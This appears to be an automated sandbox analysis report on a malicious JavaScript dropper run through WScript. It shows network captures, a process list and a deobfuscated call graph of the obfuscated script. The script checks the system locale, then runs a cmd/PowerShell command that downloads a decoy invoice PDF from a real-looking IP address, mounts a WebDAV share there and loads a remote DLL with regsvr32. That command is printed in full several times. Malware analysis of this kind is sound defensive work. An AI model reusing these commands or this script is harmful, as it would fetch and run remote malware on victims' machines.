Jan 11, 2025 02:10:19.954370022 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:10:19.954380989 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 02:10:19.955507994 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 02:10:19.955519915 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 02:10:19.957545042 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5972	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:10:21.377985954 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:10:22.168625116 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:10:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:10:12
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js"
Imagebase:	0x7ff6a6190000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:10:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Imagebase:	0x7ff6356d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:10:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:10:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:10:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:10:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6356d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:10:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff754690000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:10:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:10:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:10:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1540,i,8864891297406936560,2339412048056510617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mnleah() {	mnleah() ➔ undefined
1	qnifv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hendkl = this[zqbbkhvb + aoxazejuq + orbpyqorr + jvgchxw + ihowezu + hohuioln + rfwdvbrzf + atddpvy] ( this[smdnsuq + bewtaaq + gbpgrpb + orbpyqorr + zofrdv + zqbbkhvb + atddpvy][uokqhfxm + orbpyqorr + ihowezu + aoxazejuq + atddpvy + ihowezu + xjjdq + nlqcj + pdyqppt + ihowezu + gbpgrpb + atddpvy] ( smdnsuq + bewtaaq + gbpgrpb + orbpyqorr + zofrdv + zqbbkhvb + atddpvy + dtmuvlx + bewtaaq + btvqa + ihowezu + fktvdidx + fktvdidx ) [icpdrszys + ihowezu + elzhmcg + icpdrszys + ihowezu + aoxazejuq + cuwev] ( mneaims + qlpahcm + lsrnf + kvfgcjp + brbqv + uokqhfxm + gcspbybmq + icpdrszys + icpdrszys + lsrnf + ediauueou + dlsijlgtb + brbqv + gcspbybmq + bewtaaq + lsrnf + icpdrszys + mluzff + uokqhfxm + jfyiotq + rfwdvbrzf + atddpvy + orbpyqorr + jfyiotq + fktvdidx + szuruer + ohxmvk + aoxazejuq + rfwdvbrzf + ihowezu + fktvdidx + mluzff + hohuioln + rfwdvbrzf + atddpvy + ihowezu + orbpyqorr + rfwdvbrzf + aoxazejuq + atddpvy + zofrdv + jfyiotq + rfwdvbrzf + aoxazejuq + fktvdidx + mluzff + gwsqfksl + jfyiotq + gbpgrpb + aoxazejuq + fktvdidx + ihowezu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cosqvxdvr = 0 ; cosqvxdvr < qnifv[fktvdidx + ihowezu + rfwdvbrzf + elzhmcg + atddpvy + btvqa] ; ++ cosqvxdvr )
4	{
5	if ( hendkl == qnifv[cosqvxdvr] )
6	{
7	hendkl = true;
8	break ;
9	}
10	}
11	if ( hendkl !== true )
12	this[smdnsuq + bewtaaq + gbpgrpb + orbpyqorr + zofrdv + zqbbkhvb + atddpvy][wleydi + gojhikf + zofrdv + atddpvy] ( );
13	this[smdnsuq + bewtaaq + gbpgrpb + orbpyqorr + zofrdv + zqbbkhvb + atddpvy][uokqhfxm + orbpyqorr + ihowezu + aoxazejuq + atddpvy + ihowezu + xjjdq + nlqcj + pdyqppt + ihowezu + gbpgrpb + atddpvy] ( smdnsuq + bewtaaq + gbpgrpb + orbpyqorr + zofrdv + zqbbkhvb + atddpvy + dtmuvlx + bewtaaq + btvqa + ihowezu + fktvdidx + fktvdidx ) [orbpyqorr + gojhikf + rfwdvbrzf] ( gbpgrpb + pinkmarsi + cuwev + szuruer + bibejoo + gbpgrpb + szuruer + zqbbkhvb + jfyiotq + kvnhn + ihowezu + orbpyqorr + jvgchxw + btvqa + ihowezu + fktvdidx + fktvdidx + dtmuvlx + ihowezu + wsizjrse + ihowezu + szuruer + qaejax + uokqhfxm + jfyiotq + pinkmarsi + pinkmarsi + aoxazejuq + rfwdvbrzf + cuwev + szuruer + uvupowz + hohuioln + rfwdvbrzf + dctdorcz + jfyiotq + bekfes + ihowezu + qaejax + smdnsuq + ihowezu + nlqcj + icpdrszys + ihowezu + iofvawqkd + gojhikf + ihowezu + jvgchxw + atddpvy + szuruer + qaejax + xjjdq + gojhikf + atddpvy + tsfwa + zofrdv + fktvdidx + ihowezu + szuruer + hsmky + atddpvy + ihowezu + pinkmarsi + zqbbkhvb + hsmky + mluzff + zofrdv + rfwdvbrzf + dctdorcz + jfyiotq + zofrdv + gbpgrpb + ihowezu + dtmuvlx + zqbbkhvb + cuwev + yfujxrrj + szuruer + btvqa + atddpvy + atddpvy + zqbbkhvb + wdryd + bibejoo + bibejoo + vnhfhglt + xsloov + pblsvja + dtmuvlx + vnhfhglt + yolojkem + pblsvja + dtmuvlx + vnhfhglt + dtmuvlx + ndlqvbn + bzvplgsus + dndnnztpp + bibejoo + zofrdv + rfwdvbrzf + dctdorcz + jfyiotq + zofrdv + gbpgrpb + ihowezu + dtmuvlx + zqbbkhvb + btvqa + zqbbkhvb + uvupowz + tcvppic + tcvppic + jvgchxw + atddpvy + aoxazejuq + orbpyqorr + atddpvy + szuruer + hsmky + atddpvy + ihowezu + pinkmarsi + zqbbkhvb + hsmky + mluzff + zofrdv + rfwdvbrzf + dctdorcz + jfyiotq + zofrdv + gbpgrpb + ihowezu + dtmuvlx + zqbbkhvb + cuwev + yfujxrrj + tcvppic + tcvppic + gbpgrpb + pinkmarsi + cuwev + szuruer + bibejoo + gbpgrpb + szuruer + rfwdvbrzf + ihowezu + atddpvy + szuruer + gojhikf + jvgchxw + ihowezu + szuruer + mluzff + mluzff + vnhfhglt + xsloov + pblsvja + dtmuvlx + vnhfhglt + yolojkem + pblsvja + dtmuvlx + vnhfhglt + dtmuvlx + ndlqvbn + bzvplgsus + dndnnztpp + adetb + juipin + juipin + juipin + juipin + mluzff + cuwev + aoxazejuq + dctdorcz + kvnhn + kvnhn + kvnhn + orbpyqorr + jfyiotq + jfyiotq + atddpvy + mluzff + tcvppic + tcvppic + gbpgrpb + pinkmarsi + cuwev + szuruer + bibejoo + gbpgrpb + szuruer + orbpyqorr + ihowezu + elzhmcg + jvgchxw + dctdorcz + orbpyqorr + pblsvja + ndlqvbn + szuruer + bibejoo + jvgchxw + szuruer + mluzff + mluzff + vnhfhglt + xsloov + pblsvja + dtmuvlx + vnhfhglt + yolojkem + pblsvja + dtmuvlx + vnhfhglt + dtmuvlx + ndlqvbn + bzvplgsus + dndnnztpp + adetb + juipin + juipin + juipin + juipin + mluzff + cuwev + aoxazejuq + dctdorcz + kvnhn + kvnhn + kvnhn + orbpyqorr + jfyiotq + jfyiotq + atddpvy + mluzff + juipin + juipin + yolojkem + secugogb + ndlqvbn + bzvplgsus + juipin + secugogb + dndnnztpp + xsloov + ndlqvbn + ndlqvbn + ndlqvbn + dtmuvlx + cuwev + fktvdidx + fktvdidx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll",0,false) ➔ 0
14	}
15	gbpgrpb = "I";
16	gbpgrpb = "o";
17	gbpgrpb = "p";
18	gbpgrpb = "B";
19	gbpgrpb = "c";
20	pdyqppt = "c";
21	pdyqppt = "W";
22	pdyqppt = "A";
23	pdyqppt = "z";
24	pdyqppt = "y";
25	pdyqppt = "U";
26	pdyqppt = "b";
27	pdyqppt = "F";
28	pdyqppt = "I";
29	pdyqppt = "Z";
30	pdyqppt = "v";
31	pdyqppt = "F";
32	pdyqppt = "C";
33	pdyqppt = "x";
34	pdyqppt = "i";
35	pdyqppt = "F";
36	pdyqppt = "Q";
37	pdyqppt = "u";
38	pdyqppt = "p";
39	pdyqppt = "B";
40	pdyqppt = "J";
41	pdyqppt = "R";
42	pdyqppt = "D";
43	pdyqppt = "J";
44	pdyqppt = "p";
45	pdyqppt = "Q";
46	pdyqppt = "I";
47	pdyqppt = "L";
48	pdyqppt = "L";
49	pdyqppt = "p";
50	pdyqppt = "i";
51	pdyqppt = "H";
52	pdyqppt = "y";
53	pdyqppt = "j";
54	pdyqppt = "A";
55	pdyqppt = "X";
56	pdyqppt = "o";
57	pdyqppt = "b";
58	pdyqppt = "c";
59	pdyqppt = "M";
60	pdyqppt = "t";
61	pdyqppt = "e";
62	pdyqppt = "h";
63	pdyqppt = "j";
64	nlqcj = "S";
65	nlqcj = "y";
66	nlqcj = "u";
67	nlqcj = "q";
68	nlqcj = "e";
69	nlqcj = "C";
70	nlqcj = "O";
71	nlqcj = "N";
72	nlqcj = "g";
73	nlqcj = "S";
74	nlqcj = "d";
75	nlqcj = "b";
76	nlqcj = "p";
77	nlqcj = "O";
78	nlqcj = "c";
79	nlqcj = "c";
80	nlqcj = "v";
81	nlqcj = "h";
82	nlqcj = "L";
83	nlqcj = "k";
84	nlqcj = "H";
85	nlqcj = "b";
86	uvupowz = "E";
87	uvupowz = "R";
88	uvupowz = "A";
89	uvupowz = "O";
90	uvupowz = "v";
91	uvupowz = "w";
92	uvupowz = "d";
93	uvupowz = "y";
94	uvupowz = "o";
95	uvupowz = "K";
96	uvupowz = "M";
97	uvupowz = "p";
98	uvupowz = "g";
99	uvupowz = "u";
100	uvupowz = "f";
101	uvupowz = "a";
102	uvupowz = "m";
103	uvupowz = "m";
104	uvupowz = "G";
105	uvupowz = "r";
106	uvupowz = "e";
107	uvupowz = "q";
108	uvupowz = "I";
109	uvupowz = "R";
110	uvupowz = "b";
111	uvupowz = "r";
112	uvupowz = "P";
113	uvupowz = "x";
114	uvupowz = "x";
115	uvupowz = "\"";
116	pinkmarsi = "m";
117	dctdorcz = "T";
118	dctdorcz = "O";
119	dctdorcz = "y";
120	dctdorcz = "q";
121	dctdorcz = "g";
122	dctdorcz = "H";
123	dctdorcz = "B";
124	dctdorcz = "s";
125	dctdorcz = "l";
126	dctdorcz = "c";
127	dctdorcz = "H";
128	dctdorcz = "n";
129	dctdorcz = "S";
130	dctdorcz = "r";
131	dctdorcz = "n";
132	dctdorcz = "k";
133	dctdorcz = "W";
134	dctdorcz = "m";
135	dctdorcz = "G";
136	dctdorcz = "v";
137	dctdorcz = "A";
138	dctdorcz = "s";
139	dctdorcz = "Y";
140	dctdorcz = "t";
141	dctdorcz = "U";
142	dctdorcz = "o";
143	dctdorcz = "I";
144	dctdorcz = "T";
145	dctdorcz = "P";
146	dctdorcz = "q";
147	dctdorcz = "T";
148	dctdorcz = "G";
149	dctdorcz = "m";
150	dctdorcz = "G";
151	dctdorcz = "n";
152	dctdorcz = "Y";
153	dctdorcz = "M";
154	dctdorcz = "v";
155	uokqhfxm = "R";
156	uokqhfxm = "D";
157	uokqhfxm = "N";
158	uokqhfxm = "s";
159	uokqhfxm = "m";
160	uokqhfxm = "L";
161	uokqhfxm = "t";
162	uokqhfxm = "l";
163	uokqhfxm = "X";
164	uokqhfxm = "W";
165	uokqhfxm = "F";
166	uokqhfxm = "V";
167	uokqhfxm = "q";
168	uokqhfxm = "N";
169	uokqhfxm = "A";
170	uokqhfxm = "h";
171	uokqhfxm = "M";
172	uokqhfxm = "E";
173	uokqhfxm = "t";
174	uokqhfxm = "x";
175	uokqhfxm = "K";
176	uokqhfxm = "f";
177	uokqhfxm = "W";
178	uokqhfxm = "r";
179	uokqhfxm = "E";
180	uokqhfxm = "M";
181	uokqhfxm = "h";
182	uokqhfxm = "Q";
183	uokqhfxm = "T";
184	uokqhfxm = "R";
185	uokqhfxm = "t";
186	uokqhfxm = "h";
187	uokqhfxm = "g";
188	uokqhfxm = "C";
189	bewtaaq = "n";
190	bewtaaq = "T";
191	bewtaaq = "F";
192	bewtaaq = "p";
193	bewtaaq = "C";
194	bewtaaq = "A";
195	bewtaaq = "k";
196	bewtaaq = "k";
197	bewtaaq = "h";
198	bewtaaq = "N";
199	bewtaaq = "P";
200	bewtaaq = "r";
201	bewtaaq = "L";
202	bewtaaq = "N";
203	bewtaaq = "t";
204	bewtaaq = "B";
205	bewtaaq = "c";
206	bewtaaq = "A";
207	bewtaaq = "v";
208	bewtaaq = "I";
209	bewtaaq = "K";
210	bewtaaq = "k";
211	bewtaaq = "U";
212	bewtaaq = "B";
213	bewtaaq = "V";
214	bewtaaq = "n";
215	bewtaaq = "q";
216	bewtaaq = "s";
217	bewtaaq = "j";
218	bewtaaq = "e";
219	bewtaaq = "t";
220	bewtaaq = "C";
221	bewtaaq = "S";
222	atddpvy = "t";
223	atddpvy = "a";
224	atddpvy = "r";
225	atddpvy = "K";
226	atddpvy = "T";
227	atddpvy = "u";
228	atddpvy = "F";
229	atddpvy = "b";
230	atddpvy = "t";
231	hohuioln = "V";
232	hohuioln = "I";
233	xjjdq = "H";
234	xjjdq = "V";
235	xjjdq = "H";
236	xjjdq = "a";
237	xjjdq = "A";
238	xjjdq = "x";
239	xjjdq = "Z";
240	xjjdq = "w";
241	xjjdq = "d";
242	xjjdq = "t";
243	xjjdq = "k";
244	xjjdq = "H";
245	xjjdq = "y";
246	xjjdq = "B";
247	xjjdq = "X";
248	xjjdq = "q";
249	xjjdq = "A";
250	xjjdq = "O";
251	wleydi = "f";
252	wleydi = "c";
253	wleydi = "I";
254	wleydi = "h";
255	wleydi = "y";
256	wleydi = "A";
257	wleydi = "j";
258	wleydi = "T";
259	wleydi = "y";
260	wleydi = "K";
261	wleydi = "K";
262	wleydi = "V";
263	wleydi = "j";
264	wleydi = "V";
265	wleydi = "T";
266	wleydi = "Q";
267	wleydi = "i";
268	wleydi = "b";
269	wleydi = "R";
270	wleydi = "h";
271	wleydi = "n";
272	wleydi = "c";
273	wleydi = "d";
274	wleydi = "N";
275	wleydi = "q";
276	wleydi = "G";
277	wleydi = "Q";
278	dndnnztpp = "f";
279	dndnnztpp = "i";
280	dndnnztpp = "n";
281	dndnnztpp = "j";
282	dndnnztpp = "A";
283	dndnnztpp = "i";
284	dndnnztpp = "w";
285	dndnnztpp = "F";
286	dndnnztpp = "Q";
287	dndnnztpp = "l";
288	dndnnztpp = "T";
289	dndnnztpp = "d";
290	dndnnztpp = "h";
291	dndnnztpp = "x";
292	dndnnztpp = "T";
293	dndnnztpp = "5";
294	adetb = "B";
295	adetb = "Q";
296	adetb = "Z";
297	adetb = "B";
298	adetb = "q";
299	adetb = "t";
300	adetb = "m";
301	adetb = "b";
302	adetb = "l";
303	adetb = "s";
304	adetb = "e";
305	adetb = "r";
306	adetb = "x";
307	adetb = "H";
308	adetb = "F";
309	adetb = "z";
310	adetb = "T";
311	adetb = "K";
312	adetb = "C";
313	adetb = "O";
314	adetb = "N";
315	adetb = "e";
316	adetb = "t";
317	adetb = "V";
318	adetb = "c";
319	adetb = "X";
320	adetb = "F";
321	adetb = "e";
322	adetb = "V";
323	adetb = "y";
324	adetb = "w";
325	adetb = "H";
326	adetb = "h";
327	adetb = "a";
328	adetb = "R";
329	adetb = "z";
330	adetb = "h";
331	adetb = "Y";
332	adetb = "@";
333	juipin = "v";
334	juipin = "l";
335	juipin = "o";
336	juipin = "H";
337	juipin = "F";
338	juipin = "B";
339	juipin = "N";
340	juipin = "m";
341	juipin = "M";
342	juipin = "h";
343	juipin = "v";
344	juipin = "Z";
345	juipin = "g";
346	juipin = "Z";
347	juipin = "x";
348	juipin = "8";
349	ndlqvbn = "S";
350	ndlqvbn = "F";
351	ndlqvbn = "2";
352	icpdrszys = "l";
353	icpdrszys = "S";
354	icpdrszys = "S";
355	icpdrszys = "D";
356	icpdrszys = "B";
357	icpdrszys = "K";
358	icpdrszys = "m";
359	icpdrszys = "P";
360	icpdrszys = "o";
361	icpdrszys = "r";
362	icpdrszys = "k";
363	icpdrszys = "f";
364	icpdrszys = "M";
365	icpdrszys = "f";
366	icpdrszys = "y";
367	icpdrszys = "N";
368	icpdrszys = "G";
369	icpdrszys = "w";
370	icpdrszys = "D";
371	icpdrszys = "H";
372	icpdrszys = "w";
373	icpdrszys = "P";
374	icpdrszys = "t";
375	icpdrszys = "t";
376	icpdrszys = "W";
377	icpdrszys = "B";
378	icpdrszys = "H";
379	icpdrszys = "K";
380	icpdrszys = "X";
381	icpdrszys = "l";
382	icpdrszys = "t";
383	icpdrszys = "y";
384	icpdrszys = "j";
385	icpdrszys = "V";
386	icpdrszys = "d";
387	icpdrszys = "y";
388	icpdrszys = "t";
389	icpdrszys = "u";
390	icpdrszys = "R";
391	wdryd = "q";
392	wdryd = "t";
393	wdryd = "b";
394	wdryd = "e";
395	wdryd = "C";
396	wdryd = "D";
397	wdryd = "Q";
398	wdryd = ":";
399	qlpahcm = "d";
400	qlpahcm = "l";
401	qlpahcm = "K";
402	ihowezu = "j";
403	ihowezu = "n";
404	ihowezu = "H";
405	ihowezu = "N";
406	ihowezu = "D";
407	ihowezu = "e";
408	ihowezu = "K";
409	ihowezu = "V";
410	ihowezu = "W";
411	ihowezu = "J";
412	ihowezu = "h";
413	ihowezu = "R";
414	ihowezu = "O";
415	ihowezu = "v";
416	ihowezu = "w";
417	ihowezu = "W";
418	ihowezu = "z";
419	ihowezu = "k";
420	ihowezu = "k";
421	ihowezu = "d";
422	ihowezu = "e";
423	ihowezu = "c";
424	ihowezu = "n";
425	ihowezu = "i";
426	ihowezu = "T";
427	ihowezu = "W";
428	ihowezu = "x";
429	ihowezu = "O";
430	ihowezu = "T";
431	ihowezu = "F";
432	ihowezu = "j";
433	ihowezu = "e";
434	mluzff = "E";
435	mluzff = "\\";
436	lsrnf = "g";
437	lsrnf = "O";
438	lsrnf = "c";
439	lsrnf = "F";
440	lsrnf = "c";
441	lsrnf = "M";
442	lsrnf = "D";
443	lsrnf = "R";
444	lsrnf = "L";
445	lsrnf = "k";
446	lsrnf = "D";
447	lsrnf = "G";
448	lsrnf = "k";
449	lsrnf = "A";
450	lsrnf = "m";
451	lsrnf = "C";
452	lsrnf = "D";
453	lsrnf = "L";
454	lsrnf = "J";
455	lsrnf = "R";
456	lsrnf = "w";
457	lsrnf = "i";
458	lsrnf = "M";
459	lsrnf = "W";
460	lsrnf = "x";
461	lsrnf = "p";
462	lsrnf = "z";
463	lsrnf = "E";
464	lsrnf = "D";
465	lsrnf = "F";
466	lsrnf = "K";
467	lsrnf = "U";
468	lsrnf = "m";
469	lsrnf = "E";
470	gcspbybmq = "q";
471	gcspbybmq = "h";
472	gcspbybmq = "L";
473	gcspbybmq = "W";
474	gcspbybmq = "o";
475	gcspbybmq = "E";
476	gcspbybmq = "r";
477	gcspbybmq = "D";
478	gcspbybmq = "q";
479	gcspbybmq = "g";
480	gcspbybmq = "J";
481	gcspbybmq = "K";
482	gcspbybmq = "m";
483	gcspbybmq = "j";
484	gcspbybmq = "F";
485	gcspbybmq = "k";
486	gcspbybmq = "O";
487	gcspbybmq = "B";
488	gcspbybmq = "p";
489	gcspbybmq = "I";
490	gcspbybmq = "R";
491	gcspbybmq = "k";
492	gcspbybmq = "k";
493	gcspbybmq = "t";
494	gcspbybmq = "G";
495	gcspbybmq = "D";
496	gcspbybmq = "W";
497	gcspbybmq = "m";
498	gcspbybmq = "J";
499	gcspbybmq = "I";
500	gcspbybmq = "k";
501	gcspbybmq = "r";
502	gcspbybmq = "A";
503	gcspbybmq = "T";
504	gcspbybmq = "B";
505	gcspbybmq = "N";
506	gcspbybmq = "E";
507	gcspbybmq = "D";
508	gcspbybmq = "d";
509	gcspbybmq = "w";
510	gcspbybmq = "i";
511	gcspbybmq = "z";
512	gcspbybmq = "j";
513	gcspbybmq = "U";
514	tcvppic = "T";
515	tcvppic = "W";
516	tcvppic = "&";
517	hsmky = "y";
518	hsmky = "%";
519	rfwdvbrzf = "k";
520	rfwdvbrzf = "d";
521	rfwdvbrzf = "w";
522	rfwdvbrzf = "o";
523	rfwdvbrzf = "Y";
524	rfwdvbrzf = "p";
525	rfwdvbrzf = "L";
526	rfwdvbrzf = "P";
527	rfwdvbrzf = "G";
528	rfwdvbrzf = "b";
529	rfwdvbrzf = "J";
530	rfwdvbrzf = "c";
531	rfwdvbrzf = "T";
532	rfwdvbrzf = "c";
533	rfwdvbrzf = "l";
534	rfwdvbrzf = "t";
535	rfwdvbrzf = "u";
536	rfwdvbrzf = "p";
537	rfwdvbrzf = "K";
538	rfwdvbrzf = "P";
539	rfwdvbrzf = "I";
540	rfwdvbrzf = "k";
541	rfwdvbrzf = "s";
542	rfwdvbrzf = "b";
543	rfwdvbrzf = "W";
544	rfwdvbrzf = "i";
545	rfwdvbrzf = "I";
546	rfwdvbrzf = "N";
547	rfwdvbrzf = "T";
548	rfwdvbrzf = "O";
